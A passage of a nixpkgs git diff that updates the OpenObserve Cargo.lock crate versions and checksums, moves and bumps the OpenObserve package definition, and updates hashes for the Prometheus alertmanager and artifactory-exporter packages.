"0.29.10" +version = "0.29.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0a18d114d420ada3a891e6bc8e96a2023402203296a47cdd65083377dad18ba5" +checksum = "cd727fc423c2060f6c92d9534cef765c65a6ed3f428a03d7def74a8c4348e666" dependencies = [ "cfg-if 1.0.0", "core-foundation-sys", @@ -6868,15 +7073,14 @@ checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" [[package]] name = "tempfile" -version = "3.8.1" +version = "3.10.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5" +checksum = "a365e8cd18e44762ef95d87f284f4b5cd04107fec2ff3052bd6a3e6069669e67" dependencies = [ "cfg-if 1.0.0", "fastrand 2.0.1", - "redox_syscall 0.4.1", - "rustix 0.38.24", - "windows-sys 0.48.0", + "rustix 0.38.31", + "windows-sys 0.52.0", ] [[package]] @@ -6892,9 +7096,9 @@ dependencies = [ [[package]] name = "termcolor" -version = "1.4.0" +version = "1.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff1bc3d3f05aff0403e8ac0d92ced918ec05b666a43f83297ccef5bea8a3d449" +checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755" dependencies = [ "winapi-util", ] @@ -6907,22 +7111,22 @@ checksum = "222a222a5bfe1bba4a77b45ec488a741b3cb8872e5e499451fd7d0129c9c7c3d" [[package]] name = "thiserror" -version = "1.0.50" +version = "1.0.56" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f9a7210f5c9a7156bb50aa36aed4c95afb51df0df00713949448cf9e97d382d2" +checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.50" +version = "1.0.56" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "266b2e40bc00e5a6c09c3584011e08b06f123c00362c92b975ba9843aaaa14b8" +checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -6968,12 +7172,13 @@ dependencies = [ [[package]] name = "time" -version = "0.3.30" +version = "0.3.34" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c4a34ab300f2dee6e562c10a046fc05e358b29f9bf92277f30c3c8d82275f6f5" +checksum = "c8248b6521bb14bc45b4067159b9b6ad792e2d6d754d6c41fb50e29fefe38749" dependencies = [ "deranged", "itoa", + "num-conv", "powerfmt", "serde", "time-core", @@ -6988,10 +7193,11 @@ checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" [[package]] name = "time-macros" -version = "0.2.15" +version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4ad70d68dba9e1f8aceda7aa6711965dfec1cac869f311a51bd08b3a2ccbce20" +checksum = "7ba3a3ef41e6672a2f0f001392bb5dcd3ff0a9992d618ca761a11c3121547774" dependencies = [ + "num-conv", "time-core", ] @@ -7005,6 +7211,16 @@ dependencies = [ ] [[package]] +name = "tinytemplate" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be4d6b5f19ff7664e8c98d03e2139cb510db9b0a60b55f8e8709b689d939b6bc" +dependencies = [ + "serde", + "serde_json", +] + +[[package]] name = "tinyvec" version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -7021,9 +7237,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.34.0" +version = "1.36.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9" +checksum = "61285f6515fa018fb2d1e46eb21223fff441ee8db5d0f1435e8ab4f5cdb80931" dependencies = [ "backtrace", "bytes", @@ -7033,7 +7249,7 @@ dependencies = [ "parking_lot 0.12.1", "pin-project-lite", "signal-hook-registry", - "socket2 0.5.5", + "socket2", "tokio-macros", "windows-sys 0.48.0", ] @@ -7056,7 +7272,7 @@ checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -7095,15 +7311,6 @@ dependencies = [ ] [[package]] -name = "toml" -version = "0.5.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" -dependencies = [ - "serde", -] - -[[package]] name = "toml_datetime" version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -7122,9 +7329,9 @@ dependencies = [ [[package]] name = "toml_edit" -version = "0.20.7" +version = "0.21.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70f427fce4d84c72b5b732388bf4a9f4531b53f74e2887e3ecb2481f68f66d81" +checksum = "6a8534fd7f78b5405e860340ad6575217ce99f38d4d5c8f2442cb5ecb50090e1" dependencies = [ "indexmap 2.1.0", "toml_datetime", @@ -7146,7 +7353,7 @@ dependencies = [ "futures-core", "futures-util", "h2", - "http", + "http 0.2.11", "http-body", "hyper", "hyper-timeout", @@ -7173,18 +7380,18 @@ dependencies = [ "async-stream", "async-trait", "axum", - "base64 0.21.5", + "base64 0.21.7", "bytes", "h2", - "http", + "http 0.2.11", "http-body", "hyper", "hyper-timeout", "percent-encoding", "pin-project", - "prost 0.12.2", + "prost 0.12.3", "rustls", - "rustls-pemfile", + "rustls-pemfile 1.0.4", "tokio", "tokio-rustls", "tokio-stream", @@ -7213,11 +7420,11 @@ version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9d021fc044c18582b9a2408cd0dd05b1596e3ecdb5c4df822bb0183545683889" dependencies = [ - "prettyplease 0.2.15", + "prettyplease 0.2.16", "proc-macro2", - "prost-build 0.12.2", + "prost-build 0.12.3", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -7265,6 +7472,18 @@ dependencies = [ ] [[package]] +name = "tracing-appender" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3566e8ce28cc0a3fe42519fc80e6b4c943cc4c8cef275620eb8dac2d3d4e06cf" +dependencies = [ + "crossbeam-channel", + "thiserror", + "time", + "tracing-subscriber", +] + +[[package]] name = "tracing-attributes" version = "0.1.27" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -7272,7 +7491,7 @@ checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -7332,6 +7551,16 @@ dependencies = [ ] [[package]] +name = "tracing-serde" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc6b213177105856957181934e4920de57730fc69bf42c37ee5bb664d406d9e1" +dependencies = [ + "serde", + "tracing-core", +] + +[[package]] name = "tracing-subscriber" version = "0.3.18" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -7341,19 +7570,22 @@ dependencies = [ "nu-ansi-term", "once_cell", "regex", + "serde", + "serde_json", "sharded-slab", "smallvec", "thread_local", "tracing", "tracing-core", "tracing-log 0.2.0", + "tracing-serde", ] [[package]] name = "try-lock" -version = "0.2.4" +version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" [[package]] name = "try_from" @@ -7411,9 +7643,9 @@ dependencies = [ [[package]] name = "unicode-bidi" -version = "0.3.13" +version = "0.3.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" [[package]] name = "unicode-ident" @@ -7432,9 +7664,9 @@ dependencies = [ [[package]] name = "unicode-segmentation" -version = "1.10.1" +version = "1.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" +checksum = "d4c87d22b6e3f4a18d4d40ef354e97c90fcb14dd91d7dc0aa9d8a1172ebf7202" [[package]] name = "unicode-width" @@ -7478,9 +7710,9 @@ checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" [[package]] name = "url" -version = "2.4.1" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "143b538f18257fac9cad154828a57c6bf5157e1aa604d4816b5995bf6de87ae5" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" dependencies = [ "form_urlencoded", "idna", @@ -7496,9 +7728,9 @@ checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" [[package]] name = "utf8-width" -version = "0.1.6" +version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5190c9442dcdaf0ddd50f37420417d219ae5261bbf5db120d0f9bab996c9cba1" +checksum = "86bd8d4e895da8537e5315b8254664e6b769c4ff3db18321b297a1e7004392e3" [[package]] name = "utf8parse" @@ -7508,9 +7740,9 @@ checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] name = "utoipa" -version = "4.1.0" +version = "4.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ff05e3bac2c9428f57ade702667753ca3f5cf085e2011fe697de5bfd49aa72d" +checksum = "272ebdfbc99111033031d2f10e018836056e4d2c8e2acda76450ec7974269fa7" dependencies = [ "indexmap 2.1.0", "serde", @@ -7520,15 +7752,15 @@ dependencies = [ [[package]] name = "utoipa-gen" -version = "4.1.0" +version = "4.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f0b6f4667edd64be0e820d6631a60433a269710b6ee89ac39525b872b76d61d" +checksum = "d3c9f4d08338c1bfa70dde39412a040a884c6f318b3d09aaaf3437a1e52027fc" dependencies = [ "proc-macro-error", "proc-macro2", "quote", "regex", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -7549,46 +7781,21 @@ dependencies = [ [[package]] name = "uuid" -version = "1.5.0" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "88ad59a7560b41a70d191093a945f0b87bc1deeda46fb237479708a1d6b6cdfc" +checksum = "f00cc9702ca12d3c81455259621e676d0f7251cec66a21e98fe2e9a37db93b2a" dependencies = [ "getrandom", - "rand", - "uuid-macro-internal", "wasm-bindgen", ] [[package]] -name = "uuid-macro-internal" -version = "1.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3d8c6bba9b149ee82950daefc9623b32bb1dacbfb1890e352f6b887bd582adaf" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.39", -] - -[[package]] name = "valuable" version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" [[package]] -name = "value-trait" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ea87257cfcbedcb9444eda79c59fdfea71217e6305afee8ee33f500375c2ac97" -dependencies = [ - "float-cmp", - "halfbrown", - "itoa", - "ryu", -] - -[[package]] name = "vcpkg" version = "0.2.15" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -7635,7 +7842,7 @@ dependencies = [ "aes", "anymap", "base16", - "base64 0.21.5", + "base64 0.21.7", "bytes", "cbc", "cfb-mode", @@ -7645,7 +7852,7 @@ dependencies = [ "chrono", "chrono-tz", "cidr-utils", - "clap 4.4.8", + "clap 4.5.0", "codespan-reporting", "community-id", "crypto_secretbox", @@ -7670,7 +7877,7 @@ dependencies = [ "ofb", "once_cell", "onig", - "ordered-float 4.1.1", + "ordered-float 4.2.0", "paste", "peeking_take_while", "percent-encoding", @@ -7701,7 +7908,7 @@ dependencies = [ "uuid", "webbrowser", "woothee", - "zstd 0.13.0", + "zstd", ] [[package]] @@ -7737,6 +7944,20 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f3c4517f54858c779bbcbf228f4fca63d121bf85fbecb2dc578cdf4a39395690" [[package]] +name = "wal" +version = "0.1.0" +dependencies = [ + "byteorder", + "bytes", + "crc32fast", + "criterion", + "parking_lot 0.12.1", + "snafu 0.7.5", + "snap", + "tempfile", +] + +[[package]] name = "walkdir" version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -7769,9 +7990,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.88" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7daec296f25a1bae309c0cd5c29c4b260e510e6d813c286b19eaadf409d40fce" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" dependencies = [ "cfg-if 1.0.0", "wasm-bindgen-macro", @@ -7779,24 +8000,24 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.88" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e397f4664c0e4e428e8313a469aaa58310d302159845980fd23b0f22a847f217" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" dependencies = [ "bumpalo", "log", "once_cell", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-futures" -version = "0.4.38" +version = "0.4.41" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9afec9963e3d0994cac82455b2b3502b81a7f40f9a0d32181f7528d9f4b43e02" +checksum = "877b9c3f61ceea0e56331985743b13f3d25c406a7098d45180fb5f09bc19ed97" dependencies = [ "cfg-if 1.0.0", "js-sys", @@ -7806,9 +8027,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.88" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5961017b3b08ad5f3fe39f1e79877f8ee7c23c5e5fd5eb80de95abc41f1f16b2" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -7816,28 +8037,28 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.88" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c5353b8dab669f5e10f5bd76df26a9360c748f054f862ff5f3f8aae0c7fb3907" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.88" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0d046c5d029ba91a1ed14da14dca44b68bf2f124cfbaf741c54151fdb3e0750b" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" [[package]] name = "wasm-streams" -version = "0.3.0" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4609d447824375f43e1ffbc051b50ad8f4b3ae8219680c94452ea05eb240ac7" +checksum = "b65dc4c90b63b118468cf747d8bf3566c1913ef60be765b5730ead9e0a3ba129" dependencies = [ "futures-util", "js-sys", @@ -7848,9 +8069,9 @@ dependencies = [ [[package]] name = "web-sys" -version = "0.3.65" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5db499c5f66323272151db0e666cd34f78617522fb0c1604d31a27c50c206a85" +checksum = "96565907687f7aceb35bc5fc03770a8a0471d82e479f25832f54a0e3f4b28446" dependencies = [ "js-sys", "wasm-bindgen", @@ -7875,18 +8096,9 @@ dependencies = [ [[package]] name = "webpki-roots" -version = "0.24.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b291546d5d9d1eab74f069c77749f2cb8504a12caa20f0f2de93ddbf6f411888" -dependencies = [ - "rustls-webpki", -] - -[[package]] -name = "webpki-roots" -version = "0.25.2" +version = "0.25.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14247bb57be4f377dfb94c72830b8ce8fc6beac03cf4bf7b9732eadd414123fc" +checksum = "5f20c57d8d7db6d3b86154206ae5d8fba62dd39573114de97c2cb0578251f8e1" [[package]] name = "which" @@ -7897,7 +8109,7 @@ dependencies = [ "either", "home", "once_cell", - "rustix 0.38.24", + "rustix 0.38.31", ] [[package]] @@ -7945,11 +8157,11 @@ checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] name = "windows-core" -version = "0.51.1" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1f8cf84f35d2db49a46868f947758c7a1138116f7fac3bc844f43ade1292e64" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" dependencies = [ - "windows-targets 0.48.5", + "windows-targets 0.52.0", ] [[package]] @@ -7971,6 +8183,15 @@ dependencies = [ ] [[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] name = "windows-targets" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8001,6 +8222,21 @@ dependencies = [ ] [[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] name = "windows_aarch64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8013,6 +8249,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] name = "windows_aarch64_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8025,6 +8267,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] name = "windows_i686_gnu" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8037,6 +8285,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] name = "windows_i686_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8049,6 +8303,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] name = "windows_x86_64_gnu" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8061,6 +8321,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] name = "windows_x86_64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8073,6 +8339,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] name = "windows_x86_64_msvc" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8085,10 +8357,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] name = "winnow" -version = "0.5.19" +version = "0.5.39" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "829846f3e3db426d4cee4510841b71a8e58aa2a76b1132579487ae430ccd9c7b" +checksum = "5389a154b01683d28c77f8f68f49dea75f0a4da32557a58f68ee51ebba472d29" dependencies = [ "memchr", ] @@ -8129,12 +8407,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "66fee0b777b0f5ac1c69bb06d361268faafa61cd4682ae064a171c16c433e9e4" [[package]] -name = "xxhash-rust" -version = "0.8.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9828b178da53440fa9c766a3d2f73f7cf5d0ac1fe3980c1e5018d899fd19e07b" - -[[package]] name = "xz2" version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -8154,29 +8426,29 @@ dependencies = [ [[package]] name = "zerocopy" -version = "0.7.26" +version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e97e415490559a91254a2979b4829267a57d2fcd741a98eee8b722fb57289aa0" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" dependencies = [ "zerocopy-derive", ] [[package]] name = "zerocopy-derive" -version = "0.7.26" +version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd7e48ccf166952882ca8bd778a43502c64f33bf94c12ebe2a7f08e5a0f6689f" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] name = "zeroize" -version = "1.6.1" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12a3946ecfc929b583800f4629b6c25b88ac6e92a40ea5670f77112a85d40a8b" +checksum = "525b4ec142c6b68a2d10f01f7bbf6755599ca3f81ea53b8431b7dd348f5fdb2d" [[package]] name = "zip" @@ -8192,30 +8464,11 @@ dependencies = [ [[package]] name = "zstd" -version = "0.12.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a27595e173641171fc74a1232b7b1c7a7cb6e18222c11e9dfb9888fa424c53c" -dependencies = [ - "zstd-safe 6.0.6", -] - -[[package]] -name = "zstd" version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bffb3309596d527cfcba7dfc6ed6052f1d39dfbd7c867aa2e865e4a449c10110" dependencies = [ - "zstd-safe 7.0.0", -] - -[[package]] -name = "zstd-safe" -version = "6.0.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ee98ffd0b48ee95e6c5168188e44a54550b1564d9d530ee21d5f0eaed1069581" -dependencies = [ - "libc", - "zstd-sys", + "zstd-safe", ] [[package]] diff --git a/pkgs/by-name/op/openobserve/build.rs.patch b/pkgs/servers/monitoring/openobserve/build.rs.patch index 1cfb91c7c12b7..1cfb91c7c12b7 100644 --- a/pkgs/by-name/op/openobserve/build.rs.patch +++ b/pkgs/servers/monitoring/openobserve/build.rs.patch diff --git a/pkgs/by-name/op/openobserve/package.nix b/pkgs/servers/monitoring/openobserve/default.nix index 3cc229348bba7..0f1bb02d55f2c 100644 --- a/pkgs/by-name/op/openobserve/package.nix +++ b/pkgs/servers/monitoring/openobserve/default.nix @@ -1,6 +1,7 @@ { lib , rustPlatform , fetchFromGitHub +, fetchpatch , pkg-config , protobuf , bzip2 @@ -10,17 +11,17 @@ , zlib , zstd , stdenv -, darwin +, apple_sdk , buildNpmPackage }: let - version = "0.7.2"; + version = "0.8.1"; src = fetchFromGitHub { owner = "openobserve"; repo = "openobserve"; rev = "v${version}"; - hash = "sha256-BFLQL3msDuurRSFOCbqN0vK4NrTS9M6k1hNwet/9mnw="; + hash = "sha256-J8TuaWjtuR39XA7tizyI+DFkpOaLFweM+/9VImGj8UE="; }; web = buildNpmPackage { inherit src version; @@ -28,7 +29,7 @@ let sourceRoot = "source/web"; - npmDepsHash = "sha256-eYrspgejb5VR51wAXdGr+pSXDdGnRyX5cwwopK3Kex8="; + npmDepsHash = "sha256-RNUCR80ewFt9F/VHv7kXLa87h0fz0YBp+9gSOUhtrdU="; preBuild = '' # Patch vite config to not open the browser to visualize plugin composition @@ -37,6 +38,7 @@ let ''; env = { + NODE_OPTIONS = "--max-old-space-size=8192"; # cypress tries to download binaries otherwise CYPRESS_INSTALL_BINARY = 0; }; @@ -53,8 +55,14 @@ rustPlatform.buildRustPackage { pname = "openobserve"; inherit version src; - # prevent using git to determine version info during build time patches = [ + (fetchpatch { + name = "fix-test-hash-partition.patch"; + url = "https://github.com/openobserve/openobserve/commit/24919333d6b6696f0f9d9aff0a883431481e8fce.patch"; + includes = ["src/common/meta/stream.rs"]; + hash = "sha256-GB3Pgmp1swJt6ESgKL2eWOZ3jBcsN0r+5Dxasgg50D4="; + }) + # prevent using git to determine version info during build time ./build.rs.patch ]; @@ -65,7 +73,6 @@ rustPlatform.buildRustPackage { lockFile = ./Cargo.lock; outputHashes = { "enrichment-0.1.0" = "sha256-FDPSCBkx+DPeWwTBz9+ORcbbiSBC2a8tJaay9Pxwz4w="; - "datafusion-33.0.0" = "sha256-RZAgk7up83zxPbmNzdnzB6M0yjjK9MYms+6TpXVDJ1o="; }; }; @@ -81,8 +88,9 @@ rustPlatform.buildRustPackage { xz zlib zstd - ] ++ lib.optionals stdenv.isDarwin (with darwin.apple_sdk.frameworks; [ + ] ++ lib.optionals stdenv.isDarwin (with apple_sdk.frameworks; [ CoreFoundation + CoreServices IOKit Security SystemConfiguration @@ -130,7 +138,7 @@ rustPlatform.buildRustPackage { ]; meta = with lib; { - description = "10x easier, 🚀 140x lower storage cost, 🚀 high performance, 🚀 petabyte scale - Elasticsearch/Splunk/Datadog alternative for 🚀 (logs, metrics, traces"; + description = "A cloud-native observability platform built specifically for logs, metrics, traces, analytics & realtime user-monitoring"; homepage = "https://github.com/openobserve/openobserve"; license = licenses.asl20; maintainers = with maintainers; [ happysalada ]; diff --git a/pkgs/servers/monitoring/prometheus/alertmanager.nix b/pkgs/servers/monitoring/prometheus/alertmanager.nix index 3d15b33b48eb3..ba1c35ee294d3 100644 --- a/pkgs/servers/monitoring/prometheus/alertmanager.nix +++ b/pkgs/servers/monitoring/prometheus/alertmanager.nix @@ -7,17 +7,17 @@ buildGoModule rec { pname = "alertmanager"; - version = "0.26.0"; + version = "0.27.0"; rev = "v${version}"; src = fetchFromGitHub { inherit rev; owner = "prometheus"; repo = "alertmanager"; - hash = "sha256-DCVxXSgoa4PrW4qBBWa1SOPN1GwcJFERz7+itsCdtGI="; + hash = "sha256-soE2D/PLesV1+Kif9myB54a9zIFIa94i0BrmywJPTbI="; }; - vendorHash = "sha256-GCcoT7Db0bQf+IGUP54GdxRmHCp1k2261B3T2htmbjk="; + vendorHash = "sha256-zkHIdEdAy44iV2F929NB3ISuUbxdecaeZcsNQQGd06E="; subPackages = [ "cmd/alertmanager" "cmd/amtool" ]; diff --git a/pkgs/servers/monitoring/prometheus/artifactory-exporter.nix b/pkgs/servers/monitoring/prometheus/artifactory-exporter.nix index f77257745872c..54b5c8370bdfd 100644 --- a/pkgs/servers/monitoring/prometheus/artifactory-exporter.nix +++ b/pkgs/servers/monitoring/prometheus/artifactory-exporter.nix @@ -6,17 +6,17 @@ buildGoModule rec { pname = "artifactory_exporter"; - version = "1.13.2"; + version = "1.14.0"; rev = "v${version}"; src = fetchFromGitHub { owner = "peimanja"; repo = pname; rev = rev; - hash = "sha256-m5ToXry1LgjWSTU9bjOtsgfVF8wKiKuTwCIC7jNGSKY="; + hash = 